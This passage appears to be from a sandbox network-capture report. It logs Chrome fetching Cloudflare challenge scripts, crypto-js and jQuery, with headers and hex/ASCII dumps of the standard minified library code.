2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49774	104.17.24.14	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:23 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:24 UTC	959	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 77624 Expires: Sun, 15 Feb 2026 14:37:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CyOulUrIGT2pX5tWfNC4D6tyqrb991rhvHCvRx%2Fa8FcPgkFMMWaFnS4RS4Kt%2BFCu44t3tNuH9fAZYtRSiC0Mqde0LWre4p7qXo4ITNSVk9qnkFa3E95qsU1b%2BMZe%2FOnPvRCbGgqF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91786ee15e9141f9-EWR alt-svc: h3=":443"; ma=86400
2025-02-25 14:37:24 UTC	410	IN	Data Raw: 37 62 66 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf2!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49775	151.101.194.137	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:24 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:24 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1735846 Date: Tue, 25 Feb 2025 14:37:24 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890055-NYC X-Cache: HIT, HIT X-Cache-Hits: 5930, 0 X-Timer: S1740494244.123565,VS0,VE1 Vary: Accept-Encoding
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 